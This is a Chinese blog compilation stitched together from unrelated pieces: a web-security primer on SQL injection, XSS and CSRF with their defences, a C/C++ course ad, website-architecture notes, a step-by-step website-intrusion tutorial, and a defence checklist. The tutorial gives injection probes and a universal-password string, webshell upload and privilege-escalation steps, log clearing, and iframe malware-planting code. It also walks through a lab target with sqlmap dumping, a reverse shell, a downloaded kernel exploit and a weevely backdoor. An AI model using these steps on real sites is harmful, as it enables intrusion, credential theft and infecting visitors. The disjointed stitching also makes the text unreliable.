在当今的互联网当中,总是存在着我们看不见也摸不着的一些 “互联网地下工作者”,也就是黑客。黑客的攻击方式分为很多种,有非破坏性攻击和破坏性攻击。非破坏性攻击一般是为了扰乱系统的执行,使之暂时失去正常正常对外界提供服务的能力,比如臭名昭著的DDoS攻击等。而破坏性攻击主要会造成两种结果:系统数据受损或者信息被窃取,好比如CSRF攻击等。黑客使用的攻击大致可分为三种,植入病毒式、洪水式(大幅度攻击)、系统漏洞式。
?他们攻击的特点主要集中于:分布式、高流量、深度匿名。就好比如DDoS攻击,利用的就是国外大量的“肉鸡”计算机的信息没有登记,所以黑客再利用“肉鸡”进行互联网攻击,是很难去追寻攻击的地址,无法有效地抵御他们的攻击。虽然说现在云端服务器商开始崛起,能够提供一套完整的安全解决方案,如腾讯云、阿里云等等,都能够提供高防服务器来抵御市面上大多数的DDoS攻击,但是成本略高,对于大多数小中型企业是有点难以承受。
?即使这样,互联网企业要想建立一套完整的信息安全体系,都需要遵守CIA原则,分别为保密性(Confidentiality)、完整性(Integrity)、可用性(Availability)。
保密性:对与一些涉及用户隐私、有价值的数据进行保密操作,无论是信息存储还是传输过程,都要保证好用户数据及相关资源的安全。值得一提的是,数据加密有些时候不只是防外部的黑客,还需要避免数据管理员在某些利益的驱动下,对数据库里的信息篡改或者泄露,进一步导致黑客利用这些数据进行网站袭击,造成企业的巨大损失。
完整性:用户访问的数据是要完整的,而不是缺失的或是篡改的,不然会导致用户访问到的数据是不正确的。在实际编码中,我们为了保证数据的完整性,通常使用的方法是对数据进行签名校验、加密加盐值等等(比如MD5/SHA和数据签名等)
可用性:服务是能够保证可用的,如果连服务都不能正常使用,保证数据安全更是天方夜谭。而有可能导致服务不可用的一大因素是高并发,针对于这种情况,我们通常使用都是对进入的请求加以约束,如网页操作时间限制、请求限流、数据清洗等方式。
?SQL注入是注入式攻击中算是比较常见的了,不过随着开发人员的安全意识普遍提高,开始重视这些问题,再加上MyBatis等框架大幅度推广,SQL注入攻击比以前要少了很多。SQL注入攻击的原理是程序方面未将代码与数据进行严格的隔离,导致在请求数据的时候,将数据嵌套到代码中的一部分去执行,从而导致一些意想不到的问题。举个例子,当对用户数据进行修改操作时,直接将未转义的数据当成变量进行操作,代码演示:
updatet_usersetnick_name="\"# -- !#(@ " where user_id=123;
OR
select*fromt_userwhere(user_name='1'OR'1'='1')and(password='1'OR'1'='1');
?第一种sql语句,会导致t_user表中nick_name全部被修改;第二种情况,会无视账号密码的情况,直接得到用户信息;还有很多种SQL注入的情况,在这里就不一一赘述了。下面讲讲怎么去抵御这种攻击:
过滤出用户在网页输入数据时掺杂的特殊字符,进而避免出现转义数据的风险。
业务编码时,避免使用字符串拼接的SQL语句,最好采用参数绑定传入的SQL参数。
合理使用数据库访问框架提供的防注入机制。如MyBatis提供的#{}动态参数,从而有效地防止SQL注入。同时也要注意${}的使用,${}相当于占位符,等同于使用字符串拼接SQL。
?XSS攻击,又称跨站脚本攻击,英译为Cross-Site Scripting,这是为了避免跟前端语言CSS的简称冲突,所以另命名为XSS。XSS是指黑客提供某些技术手段,向正常用户请求的网页植入恶意脚本,从而在此基础上执行任意脚本,主要用于信息窃取、破坏等目的。XSS主要分为反射型XSS、存储型XSS和DOM型XSS。
?在防范XSS攻击上,主要还是通过在用户输入数据做过滤或转义方面下功夫。后端:可以使用Jsoup框架对输入的字符串进行XSS过滤或者使用Spring框架提供的HtmlUtils工具类对字符串进行HTML转义。前端:尽可能使用innerText而不是innerHTML。
?CSRF攻击,又称跨站请求伪造,全称为 Cross-Site Request Forgery,也全称为 One-click Attack,即在用户毫不知情的情况下,假冒用户来模拟操作,对已经成功登录的网页上恶意操作,如发表恶意帖子、修改个人信息、群发信息甚至修改密码等等。
?虽然从攻击层面上看,两者有很多相似之处,但是CSRF还是有别于XSS的。从技术层面上看,XSS是指黑客在用户请求的网页植入了自己的恶意脚本;而CSRF是指假冒已经成功登录的用户进行 “为所欲为” 的操作。
XSS的关注点是在于用户数据没有进行过滤或转义
CSRF的关注点是在于HTTP接口没有防范不受信任的调用。
防范CSRF攻击主要有以下两种方式:
(1)CSRF Token验证,利用浏览器的同源策略(不同源的客户端脚本无法在没有授权的情况下,直接读取对方资源),在HTTP接口执行前验证页面或者Cookie中设置的Token,只有验证通过才继续执行请求。
(2)人机接口,常见的就是在用户在进行相关重要操作(如修改密码)校验短信验证码
写在最后:对于准备成为一名优秀程序员的朋友,如果你想更好地提升你的编程核心能力(内功),让自己成为一个具有真材实料的厉害的程序员,不妨从现在开始!C/C++,永不过时的编程语言~
编程学习书籍分享:
编程学习视频分享:
整理分享(多年学习的源码、项目实战视频、项目笔记,基础入门教程)
欢迎转行和学习编程的伙伴,利用更多的资料学习成长比自己琢磨更快哦!
对于C/C++感兴趣可以关注小编在后台私信我:【编程交流】一起来学习哦!可以领取一些C/C++的项目学习视频资料哦!已经设置好了关键词自动回复,自动领取就好了!
之前在黑客技术文章中讲了很多黑客技术原理,近期我将通过文章讲述一些黑客实战内容,想了解黑客实战技术的朋友可以多关注我的文章。
今天就以本篇文章内容给大家讲述一下黑客"入侵网站的"基本流程以及技术实现过程!
常见的几种基本架构如下:
1、单机模式
应用程序、数据库、文件等所有资源都集中在一台 Server上,典型案例:基于 LAMP 架构的 PHP 网站;
单机时代(纯依赖RDBMS)
优点:简单、快速迭代达成业务目标;缺点:存在单点、谈不上高可用;技术点:应用设计要保证可扩展;
2、单机+缓存模式
有一定的业务量和用户规模了,想提升网站速度,于是,缓存出场了。
单机时代+缓存出场
优点:简单有效、方便维护;缺点:存在单点、谈不上高可用;技术点:客户端(浏览器)缓存、前端页面缓存、页面片段缓存、本地数据缓存/数据库缓存、远程缓存;
3、数据服务与应用分离模式
用户量每天在增长,数据库疯狂读写,逐渐发现一台服务器快撑不住了。于是,决定把数据服务和APP做分离。
数据服务与应用分离
优点:简单有效、方便维护、提高不同Server对硬件资源的利用率;缺点:存在单点、谈不上高可用;技术点:文件服务器部署、数据库服务器,扩展数据访问模块;
分离后三台 Server 对硬件资源的需求各不相同:
4、数据库读写分离模式
单台数据库也感觉快撑不住了,一般都会尝试做"读写分离"。由于大部分互联网"读多写少"的特性所决定的。Salve的台数,取决于按业务评估的读写比例。
数据库读写分离
优点:简单有效、降低数据库单台压力;缺点:读写分离,增加程序难度,架构变复杂,维护难度增加;技术点:数据库主从同步部署,扩展数据访问模块,实现读写分离;
5、应用服务集群模式
数据库层面是缓解了,但是应用程序层面也出现了瓶颈,由于访问量增大,加上早期程序员水平有限写的代码也很烂,人员流动性也大,很难去维护和优化。所以,很常用的办法还是"堆机器"。
应用出现瓶颈 负载均衡集群
优点:增加服务器和HA机制,系统性能及可用性得到保证;缺点:应用之间缓存、Session一致性问题;技术点:负载均衡;
通过集群解决高并发、海量数据问题的常用手段,实现系统的可伸缩性。通过负载均衡调度器,可将用户访问分发到集群中的某台 Server 上,应用服务器的负载压力不再成为整个网站的瓶颈。
6、集中式缓存、Session集中存储
加机器谁都会加,关键是加完之后得有效果,加完之后可能会引发一些问题。例如非常常见的:集群应用之间页面输出缓存和本地缓存一致性的问题,Session保存的问题......。
集中式缓存 Session集中存储
优点:应用之间缓存、Session一致,存储无限制,可以扩展;缺点:不如本地缓存访问快,缓存服务器、Session服务器等仍存在单点问题;技术点:缓存服务器部署、Session集中存储方案;
7、动静分离
动静分离也是提高网站响应速度的一种常用方式。将动态请求与静态请求分离开,尽量减少对应用服务器的压力。同时,可以再进一步对静态请求,进行缓存,以加快响应速度。可以需要开发人员配合(把静态资源放独立站点下),也可以不需要开发人员配合(利用7层反向代理来处理,根据后缀名等信息来判断资源类型)。
使用动静分离
优点:减轻应用负载压力,针对静态文件缓存;缺点:静态文件缓存更新失效问题;技术点:动静分离、静态文件缓存方案;
8、反向代理和CDN加速网站响应
使用反向代理和CDN加速网站响应:CDN 和反向代理的基本原理都是缓存,区别在于:
1. CDN部署在网络提供商的机房;
2. 反向代理则部署在网站的中心机房;
使用 CDN 和反向代理的目的都是尽早返回数据给用户,一方面加快用户访问速度,另一方面也减轻后端服务器的负载压力。
使用反向代理和 CDN 加速网站响应
优点:减轻应用负载压力,异地缓存有效解决不同地方用户访问过慢的问题;缺点:成本大幅增加,架构进一步复杂化,也维护难度进一步增大,静态文件缓存更新失效问题;技术点:CDN、反向代理方案;
9、使用NoSQL和搜索引擎
到这里,已经基本做到了DB层面和应用层面的横向扩展了,可以开始关注一些其它方面,例如:站内搜索的精准度,对DB的依赖,开始引入全文索引、NoSQL。
NoSQL和搜索引擎都是源自互联网的技术手段,对可伸缩的分布式特性具有更好的支持。应用服务器则通过一个统一数据访问模块访问各种数据,减轻应用程序管理诸多数据源的麻烦。
使用NoSQL和搜索引擎
优点:降低DB依赖;缺点:单点问题,谈不上高可用;技术点:NoSQL、搜索引擎、分布式;
1、信息收集
1) Whois信息--注册人、电话、邮箱、DNS、地址
2) Googlehack--敏感目录、敏感文件、后台地址
3) 服务器IP--Nmap扫描、端口对应的服务、C段
4) 旁注--Bing查询、脚本工具
5) 如果遇到CDN--Cloudflare(绕过)、从子域入手(mail,postfix)、DNS传送域漏洞
6) 服务器、组件(指纹)--操作系统、web server(apache,nginx,iis)、脚本语言,数据库类型
2、漏洞挖掘
1) 探测Web应用指纹--如博客类:Wordpress、Emlog、Typecho、Z-blog,社区类:Discuz、PHPwind、Dedecms,StartBBS、Mybb等等,PHP脚本类型:Dedecms、Discuz!、PHPCMS、PHPwind
2) XSS、CSRF、SQLinjection、权限绕过、任意文件读取、文件包含...
3) 上传漏洞--截断、修改、解析漏洞
4) 有无验证码--进行暴力破解
3、漏洞利用
1) 思考目的性--达到什么样的效果
2) 隐藏,破坏性--根据探测到的应用指纹寻找对应的exp攻击载荷或者自己编写
3) 开始漏洞攻击,获取相应权限,根据场景不同变化思路拿到webshell
4、权限提升
1) 根据服务器类型选择不同的攻击载荷进行权限提升
2) 无法进行权限提升,结合获取的资料开始密码猜解,回溯信息收集
5、植入后门
1) 隐蔽性
2) 定期查看并更新,保持周期性
6、日志清理
1) 伪装,隐蔽,避免激警他们通常选择删除指定日志
2) 根据时间段,find相应日志文件 太多太多。
三、 黑客入侵网站的常规思路方法
1、经典注入
通常,判断一个网站是否存在注入点,可以用',and 1=1 ,and 1=2,+and+1=1,+and+1=2,%20and%201=1,%20and%201=2,来判断,如果and 1=1正常返回页面,1=2错误,或者找不到,那么就存在注入点
2、万能密码OR漏洞
万能密码'or'='or',可以用在后台管理输入,有的网站由于没有过滤OR漏洞,输入OR直接就可以突破,一般漏洞存在于ASP类型的网站
3、爆库
爆库,可以理解为爆出数据库下载,用爆库之类的工具可以直接就获得管理员用户和密码,%5C为十六进制的\符号,而数据库大于5.0就可以进行爆库,如在PHP手工高级注入时,用VERSION()这个变量猜出网站数据库版本,如果一个网站数据库大于5.0,且是ACESS数据库,那么提交地址是:http://www.xxx.com/rpc/show24.asp?id=127,我们直接把%5C加到RPC后面,因为%5C是爆二级目录,所以应该是这样,http://www.xxx.com/rpc%5c/show24.asp?id=127,而%23是代表#,如果管理员为了防止他人非法下载数据库,而把数据库改成#database.mdb,这样防止了,如果页面地址为http://www.xx.com/rpd/#database.mdb,是这样的,那么我们把%23加到替换#,http://www.xx.com/rpd/%23database.mdb
4、COOKIE中转,SQL防注入程序,提醒你IP已被记录
COOKIE中转,SQL防注入,如果检测一个网站时,弹出这样一个对话框,上面出现SQL防注入程序提醒的字语,那么我们可以利用COOKIE中转,注入中转来突破,方法是先搭建一个ASP环境(且网站为ASP网站),然后打开中转工具,记住一个网站的页面地址粘贴进工具里,值是多少就写多少,生成,把生成的文件放到目录里,接下来,打开网页,输入http://127.0.0.1:(端口)/目录里文件,如果正常,那么输入http://127.0.0.1:端口/值(目录文件)?提交值,那么拿到工具里猜表名,列名了
5、手工
ASP手工语句表名 and exists (select * from 表名)
列名 and (select count(列名) from 表名)>0
长度 and (select top 1 len(username) from admin)>0
内容 and (select top 1 asc(mid(username,1,1)) from admin)>100
PHP手工语句:order by(猜字段),and 1=2 union select (字段数)and 1=2 union selsect from(位置)
几个常用变量 ,USER(),VERSION()<数据库版本),database()<数据库名称>
6、抓包拿WEBSHELL
如果进入后台发现,点数据库备份的时候发现找不到,可以通过抓包来获得上传,拿到WEBSHELL,工具WOSCK抓包,一张图片,一个ASP马,自行搭建一个上传地址,UPLOAD加载,UPFILE上传,COOKIS=( )
7、数据库备份拿WEBSHELL和一句话木马入侵
通常进入后台了,发现有数据库备份,拿WEBSHELL吧,找一个添加产品的地方,传一个大马,格式为JPG图片,然后把图片地址粘贴到数据库备份那里,给起个名字,如SHELL.ASP,然后合地址访问的时候就进入webshell了,一句话木马入侵,先编辑记事本,加入一句话,改为2.jpg,然后备份,访问,发现500内部服务器错误,证明一句话成功,接下来用一句话木马客户端连接,得到路径页面,然后改下马名,输入大马内容,提交,得到WEBSHELL
8、DB权限差异备份拿WEBSHELL
如果一个网站注入点是MYSQL数据库,且是DB权限,或者是SA权限,能够列目录,那么就好办了,找到网站的目录,目录通常在D和E盘,备份个小马,合地址访问看看成功没,直接备份大马貌似不行,成功后,再输入大马内容,拿到WEBSHELL
9、找后台
找后台,一般默认为admin,admin/admin.asp,admin/login.asp,.admin_login.asp,manage/login.asp,login.asp,logon,user.asp,admin/index.asp,当然,这只是默认,一些大网站不可能还用admin作为后台,有的隐藏很深,可以简单用site:网站 inurl:后台来猜,或者下载源HTML文件分析找出后台,或者用各种工具来扫描了,方法很多的
10、脚本提示
有的网站要求进入后台会出现一个脚本提示,就像VB编程里INPUTBOX "",一个对话输入框,我们输入administrator突破,admin代表以管理员身份来进入
11、php后门和EWEBEDITOR编辑器入侵
PHP后门,如之前爆出的DISZ漏洞,在一个PHP网站后面加C.PHP,如果出现1,那么传个PHP马就拿到WEBSHELL,EWEBEDITOR编辑器入侵,是很快速的方式,设置好上传文件类型,传ASA,或者其他的格式,然后访问拿到WEBSHELL,如没有直接加语句拿到WEBSHELL
12、上传漏洞
有的网站虽然没有注入点,但存在一个上传漏洞,那么我们如何来利用了,首先,打开上传地址看是否存在,如果有,试想传一个ASP大马是不行的,那么传一句话看看,先看能成功不,用明小子来上传,动网,动力,动感,乔客4种方式,页面地址格式要对应,如果一个网站地址弹出对话框,显示上传成功,那么证明可以拿到WEBSHELL,传马,另外有的没有任何显示,直接空的,那么可以构建两个上传,第一个传JPG的图片,第二个传ASP马(大马),记住,大马后面要有个空格才行,如果一个网站地址出现文件类型不正确,请重新上传,那么证明%90可以拿到WEBSHELL,只是格式不对,不允许,改后缀,只要是网站没有过滤的格式,如果一个网站地址显示请登陆再上传,那么证明没有拿到COOKIS,思路是在该网站注册一个用户,得到COOKIS,然后上传就成功了
13、简单提权拿下服务器和SERV提权和pcanywhere三方提权
简单拿下服务器,也就是拿下网站IP主机,首先我们需要一个WEBSHELL,然后看看组件信息,看看路径可读可以写不,如果有一个可以,那么来到CMD命令下,首先输入可写的文件内容,执行命令加一个帐号和最高管理权限,然后输入netstat -an,得到主机连接端口,然后用3389连接进入,让其成为肉鸡(最好),这样比较隐蔽我们操作
14、反查入侵和旁注和社会工程学
反查IP入侵,也就是入侵21,端口,首先我们入侵网站先PING WWW.XXX.COM ,出IP,然后到反查IP站点查挂了多少个域名,接下来,添加webmaster@地址,加入字典,(里面多收集可能的口令,如123,321,456),然后用流光探测密码,登陆ftp://ip,输入用户和密码,改掉信息等等,社会工程学X-WAY,来得到FTP密码,也需要收集,并不是每个都行,总之是自己的经验
15、跨站脚本攻击
跨站(CSS),被动攻击,现在需要更多的思路和经验了
三段经典跨站代码
<script>alert("跨站开始")</script>
<script>alert("document.cookie")</script>
<script>window.open(http://www.hackgirl.net)</script>
16、特殊空格
利用TAB制作的特殊空格,然后注册时输入空格,加管理名字,随便在网站上找个斑竹,或者管理的名字,这样来注册,有时自己注册的这个也会变成管理员
17、改主页
改主页,拿到WEBSHELL后,先找出首页文件,一般为index.asp,index.php.index.jsp,index.html,然后来到站点根目录,编辑index.asp(首页),清空,最好备份,输入自己的主页代码(黑页),保存,再访问时已经变成自己想要的结果了
18、挂马
首先在WEBSHELL里,建立一个文本,改为1.htm,接下来在主页最下面挂
两段经典挂马代码
<html>
<iframe src="http://www.xxxx.com/2.htm" width="0" height="0" frameborder="0"></iframe>
</html>
<SCRIPT language=javascript>
window.open("http://www.xxx.com/2.htm","","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1");
</script>
假设入侵的网站域名是hack-test.com
第一步:用ping命令获取网站服务器的IP地址
现在我们获取了网站服务器的IP地址为:173.236.138.113
第二步:寻找同一服务器上的其它网站,我们使用sameip.org.
26 sites hosted on IP Address 173.236.138.113
173.236.138.113上有26个网站,很多黑客为了攻破你的网站可能会检查同服务器上的其它网站,但是本次是以研究为目标,我们将抛开服务器上的其它网站,只针对本次测试的网站来进行入侵检测。
第三步:查询关于网站的以下信息:
1. DNS records (A, NS, TXT, MX and SOA)
2. Web Server Type (Apache, IIS, Tomcat)
3. Registrar (the company that owns your domain)
4. Your name, address, email and phone
5. Scripts that your site uses (php, asp, asp.net, jsp, cfm)
6. Your server OS (Unix,Linux,Windows,Solaris)
7. Your server open ports to internet (80, 443, 21, etc.)
让我们开始找网站的DNS记录,我们用who.is来完成这一目标.
发现DNS记录如下:
确定web服务器的类型:
发现Web服务器是apache,接下来确定它的版本.
IP: 173.236.138.113
Website Status: active
Server Type: Apache
Alexa Trend/Rank: 1 Month:3,213,968 3 Month: 2,161,753
Page Views per Visit: 1 Month: 2.0 3Month: 3.7
接下来寻找网站域名的注册信息,你的电话、邮箱、地址等
现在已经获取了你的网站域名的注册信息,包括你的重要信息等.
接下来可以通过backtrack5中的whatweb来获取网站服务器操作系统类型和服务器的版本:
发现网站使用了著名的php整站程序wordpress,服务器的的系统类型为FedoraLinux,Web服务器版本Apache 2.2.15。
继续查看网站服务器开放的端口,用渗透测试工具nmap:
1、Find services that run on server(查看服务器上运行的服务)
2、Find server OS(查看操作系统版本)
只有80端口是开放的,操作系统是Linux2.6.22(Fedora Core 6),现在已经收集了所有关于网站的重要信息,接下来开始扫描寻找漏洞,比如:
Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF等等
3、用Nikto来收集漏洞信息:
root@bt:/pentest/web/nikto# perlnikto.pl -h hack-test.com
4、用到Backtrack 5 R1中的W3AF 工具:
root@bt:/pentest/web/w3af#./w3af_gui
输入要检测的网站地址,选择完整的安全审计选项
稍等一会,将会看到扫描结果
发现你的网站存在sql注入漏洞、XSS漏洞、以及其它的漏洞.让我们来探讨SQL注入漏洞.
http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220
第四步:通过工具发现这个URL存在SQL注入,我们通过Sqlmap来检测这个url.
Using sqlmap with –u url
输入N按回车键继续
发现你的网站存在mysql显错注入,mysql数据库版本是5.0. 我们通过加入参数"-dbs"来尝试采集数据库名
发现三个数据库,接下来通过参数"-D wordpress -tables"来查看wordpress数据库的所有表名
通过参数"-T wp_users –columns "来查看wp_users表中的字段.
接下来猜解字段user_login和user_pass的值.用参数"-C user_login,user_pass–dump"
会发现用户名和密码hashes值
第五步:通过以下在线破解网站来破解密码hashes
http://www.onlinehashcrack.com/free-hash-reverse.php
第六步:登陆wordpress的后台wp-admin
尝试上传php webshell到服务器,以方便运行一些linux命令.在插件页面寻找任何可以编辑的插件.我们选择Textile这款插件,编辑插入我们的php webshell,点击更新文件,然后访问我们的phpwebshell.
Phpwebshell被解析了,我们可以控制网站的文件,但是我们只希望获得网站服务器的root权限,来入侵服务器上其它的网站。
第六步:用NC来反弹一个shell
首先在我们的电脑上监听5555端口。
然后在Php webshell上反向连接我们的电脑,输入IP和端口5555.
点击连接我们会看到
接下来我们尝试执行一些命令:
id
uid=48(apache) gid=489(apache) groups=489(apache)
(用来显示用户的id和组)
pwd
/var/www/html/Hackademic_RTB1/wp-content/plugins
(显示服务器上当前的路径)
uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 721:41:45 EST 2009 i686 i686 i386 GNU/Linux
(显示内核版本信息)
现在我们知道,服务器的内核版本是2.6.31.5-127.fc12.1686,我们在exploit-db.com中搜索此版本的相关漏洞.
第七步:在服务器上测试了很多exp之后,用以下的exp来提升权限.
http://www.exploit-db.com/exploits/15285
在nc shell上执行以下命令:
wgethttp://www.exploit-db.com/exploits/15285 -o roro.c
(下载exp到服务器并重命名为roro.c)
注:很多linux内核的exp都是C语言开发的,因此我们保存为.c扩展名.
exp roro.c代码如下:
#include
#define RECVPORT 5555
#define SENDPORT 6666
int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s=socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0)
{
printf("[*] Could not open socket.");
exit(-1);
}
memset(&addr, 0, sizeof(addr));
通过以上代码我们发现该exp是C语言开发的,我们需要将他编译成elf格式的,命令如下:
gcc roro.c –ororo
接下来执行编译好的exp
./roro
执行完成之后我们输入id命令
id
发现我们已经是root权限了
uid=0(root) gid=0(root)
现在我们可以查看/etc/shadow文件
cat/etc/shadow
第八步:用weevely制作一个php小马上传到服务器上,留个后门
1、weevely使用选项
root@bt:/pentest/backdoors/web/weevely#./main.py
2.用weevely创建一个密码为koko的php后门
root@bt:/pentest/backdoors/web/weevely#./main.py -g -o hax.php -p koko
接下来上传到服务器之后来使用它
root@bt:/pentest/backdoors/web/weevely#./main.py -t -uhttp://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -pkoko
测试我们的hax.php后门
以上就是入侵网站的全过程实例描述!
1、如何判断网站被黑?
如果存在下列问题,则您的网站可能已经被黑客攻击:
1) 通过site命令查询站点,显示搜索引擎收录了大量非本站应有的页面。
2) 从百度搜索结果中点击站点的页面,跳转到了其他站点。
3) 站点内容在搜索结果中被提示存在风险。
4) 从搜索引擎带来的流量短时间内异常暴增。
一旦发现上述异常,建议您立即对网站进行排查。包括:
1、分析系统和服务器日志,检查自己站点的页面数量、用户访问流量等是否有异常波动,是否存在异常访问或操作日志;
2、检查网站文件是否有不正常的修改,尤其是首页等重点页面;
3、网站页面是否引用了未知站点的资源(图片、JS等),是否被放置了异常链接;
4、检查网站是否有不正常增加的文件或目录;
5、检查网站目录中是否有非管理员打包的网站源码、未知txt文件等。
2、如何应对网站被黑?
如果排查确认您的网站存在异常,此时您需要立即做出处理,包括:
1) 立即停止网站服务,避免用户继续受影响,防止继续影响其他站点(建议使用503返回码)。
2) 如果同一主机提供商同期内有多个站点被黑,您可以联系主机提供商,敦促对方做出应对。
3) 清理已发现的异常,排查出可能的被黑时间,和服务器上的文件修改时间相比对,处理掉黑客上传、修改过的文件;检查服务器中的用户管理设置,确认是否存在异常的变化;更改服务器的用户访问密码。
注:可以从访问日志中,确定可能的被黑时间。不过黑客可能也修改服务器的访问日志。
4) 做好安全工作,排查网站存在的漏洞,防止再次被黑。
3、如何防止网站被黑?
1) 为避免您的网站被黑客攻击,您需要在平时做大量的工作,例如
2) 定期检查服务器日志,检查是否有可疑的针对非前台页面的访问。
3) 经常检查网站文件是否有不正常的修改或者增加。
4) 关注操作系统,以及所使用程序的官方网站。如果有安全更新补丁出现,应立即部署,不使用官方已不再积极维护的版本,如果条件允许,建议直接更新至最新版;关注建站程序方发布的的安全设置准则。
5) 系统漏洞可能出自第三方应用程序,如果网站使用了这些应用程序,建议仔细评估其安全性。
6) 修改开源程序关键文件的默认文件名,黑客通常通过自动扫描某些特定文件是否存在的方式来判断是否使用了某套程序。
7) 修改默认管理员用户名,提高管理后台的密码强度,使用字母、数字以及特殊符号多种组合的密码,并严格控制不同级别用户的访问权限。
8) 选择有实力保障的主机服务提供商。
9) 关闭不必要的服务,以及端口。
10) 关闭或者限制不必要的上传功能。
11) 设置防火墙等安全措施。
12) 若被黑问题反复出现,建议重新安装服务器操作系统,并重新上传备份的网站文件。
客是如何入侵一个网站的?
黑客入侵网站的步骤详解:他们的行动蓝图
在理论上,黑客对网站的入侵过程可概括为以下几步:
信息搜集:深入研究目标网站,尽可能搜集详尽的信息。
扫描与枚举:确认开放的端口,运行的服务以及可能存在的安全漏洞。
提权与攻击:尝试利用找到的漏洞进入网站后台或数据库。
维持访问权限:一旦成功入侵,黑客可能会寻求保持其访问权限,以备后用。
清除痕迹:删除日志文件和其他痕迹,避免被发现。
强调一点,上述所有行为,若未经网站所有者或管理员的明确许可,均属非法。对于有志于网络安全事业、希望提升技能并进行职业发展的人来说,合法的途径包括成为网络安全分析师、渗透测试员或道德黑客。正当的网络安全实践包括在合同范围内执行渗透测试、网络防御和安全漏洞评估,以帮助组织加强其网站和网络的安全性。
所需工具:黑客的得力助手
黑客常使用各种工具来发现并利用网站的弱点,这些工具包括:
扫描器:此类工具可扫描网站的端口,寻找开放的服务和潜在的安全漏洞。
漏洞扫描工具:用于分析网站的安全漏洞,查找已知的安全弱点。
Web代理工具:允许拦截和修改从浏览器发出的网络请求。
密码破解工具:用于分析和破解网站登录凭据的工具。
自动化攻击框架:如Metasploit等高级工具,提供一个平台来管理和激活多种攻击。
必备语言:黑客的通行密钥
尽管黑客可能需要掌握多种编程语言,但以下几种语言尤为关键:
HTML/JavaScript:了解网站的构建基础,能够识别和利用客户端的漏洞。
SQL:用于与数据库通信,黑客利用SQL注入攻击直接操控网站的数据库。
Python/Perl/Ruby:这些脚本语言适用于快速开发攻击工具或脚本。
PHP/Java:熟悉这些服务器端语言有助于理解后台处理和潜在的安全漏洞。
还需掌握的能力:
黑客不仅需要理论知识,还需具备以下能力:
逆向工程和代码审计:分析和理解不提供源代码的应用程序。
网络分析:监控和解读网络流量,发现潜在的数据传输弱点。
加密与解密:理解加密技术,有时还需能够解密加密信息。
社会工程学:利用人类心理,诱导他们泄露敏感信息或执行某些操作。
此外,不断提升自己的知识和技巧,遵循职业道德和法律规定,投身于防御工作,这些都是网络安全专家成长之路的关键。通过增强对网络安全挑战的意识,我们可以共同构建一个更安全、更能抵御恶意攻击者的数字环境。
#数据库误操作# #黑客行为争议# #分享编程心得# #相对url# #加密技术应用#
#春日生活打卡季#
*请认真填写需求信息,我们会在24小时内与您取得联系。